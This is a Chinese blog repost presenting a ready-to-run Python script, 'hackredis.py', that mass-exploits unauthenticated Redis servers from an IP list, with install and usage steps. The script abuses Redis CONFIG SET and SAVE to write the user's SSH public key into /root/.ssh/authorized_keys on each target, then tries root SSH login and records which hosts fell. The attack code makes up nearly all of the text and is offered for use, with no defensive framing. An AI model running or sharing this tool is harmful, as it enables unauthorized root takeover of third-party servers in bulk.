python脚本实现Redis未授权批量提权
2017-09-19 10:47
756 查看
本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。
安装依赖
sudo easy_install redis
使用
redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22 optional arguments: -h, --help show this help message and exit -l IPLIST the hosts of target -p PORT the redis default port -r ID_RSAFILE the ssh id_rsa file you generate -sp SSH_PORT the ssh port
首先需要ssh密钥:
ssh-keygen -t rsa cp ~/.ssh/id_rsa.pub /tmp/foo.txt
之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。
#!/usr/bin/python #coding:utf-8 ############################################################# ## @file hackredis.py ## ## @date 2015-12-11 ## ## @author evi1cg ## ############################################################# import redis import argparse import textwrap import sys import pexpect def getargs(): parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/ For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22''')) parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target') parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port') parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate') parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port') if(len(sys.argv[1:]) / 2 != 4): sys.argv.append('-h') return parser.parse_args() def hackredis(host,port): ck = 0 try: print "[*] Attacking ip:%s"%host r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2) r.flushall r.set('crackit',foo) r.config_set('dir','/root/.ssh/') r.config_set('dbfilename','authorized_keys') r.save() ck =1 except: print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host write(host,2) ck =0 if ck == 1: check(host) else: pass def check(host): print '/033[1;33;40m[*]/033[0m Check connecting... ' try: ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port)) i = ssh.expect('[#/$]',timeout=2) if i == 0: print "/033[1;34;40m[+]/033[0m Success !" write(host,1) else: pass except: print "/033[1;32;40m[-]/033[0m Failed to connect !" write(host,3) def write(host,suc): if suc == 1: filesname = 'success.txt' elif suc ==2: filesname = 'fail.txt' elif suc ==3: filesname = 'unconnect.txt' else: pass file_object = open(filesname,'a') file_object.write(host+'/n') file_object.close() def main(): global foo,ssh_port paramsargs = getargs() try: hosts = open(paramsargs.iplist,"r") except(IOError): print "Error: Check your hostfile path/n" sys.exit(1) port = paramsargs.port ssh_port = paramsargs.ssh_port try: foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n' except(IOError): print "Error: Check your wordlist path/n" sys.exit(1) ips = [p.replace('/n','') for p in hosts] for ip in ips: hackredis(ip.strip(),port) if __name__ == "__main__": main()
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。
您可能感兴趣的文章:
- python中redis查看剩余过期时间及用正则通配符批量删除key的方法
- python操作redis方法总结
- Python实现的redis分布式锁功能示例
- Python操作Redis之设置key的过期时间实例代码
- python实现redis三种cas事务操作
- Python 用Redis简单实现分布式爬虫的方法
- 在Python中使用AOP实现Redis缓存示例
- python笔记:mysql、redis操作方法
- Windows下安装Redis及使用Python操作Redis的方法
- python中redis的安装和使用
- Python的Flask框架使用Redis做数据缓存的配置方法
- Python的Flask框架应用调用Redis队列数据的方法
- python安装与使用redis的方法
- Python使用redis pool的一种单例实现方式
- Python使用Redis实现作业调度系统(超简单)
- python操作redis的方法
- Redis的Python客户端redis-py安装使用说明文档
- Python连接Redis的基本配置方法
相关文章推荐
- Python实现脚本锁功能,同时只能执行一个脚本
- 利用Python脚本实现-----登陆新浪微博&批量下载收藏内容
- python代理脚本实现期望数据与实际数据的比对(V1.0)
- Python实现自动添加脚本头信息的示例代码
- 用 Python 脚本实现对 Linux 服务器的监控
- Python实现的监测服务器硬盘使用率脚本分享
- 在Windows系统中,如何python脚本实现分割合并大二进制文件,方便上传
- Python 实现在对一个目录下所有文件,指定某一行之后添加内容(批处理脚本)
- Python脚本实现windows下文件的备份
- python 实现 loadrunner xml脚本格式化
- python脚本实例002- 利用requests库实现应用登录
- 简单Python脚本实现数据导出Excel格式的尝试
- python 实现nginx/apache 日志格式的统计脚本
- Python脚本实现代码行数统计代码分享
- python实现的翻译脚本
- python脚本实现批量更新数据库中字段值
- 使用Python脚本语言实现自动多渠道打包心得
- python自动化工具日志查询分析脚本代码实现
- [置顶] Webdriver(selenium2)基于Python脚本实现登录填写日志(分步讲解)
- 【Python】Python脚本实现抢券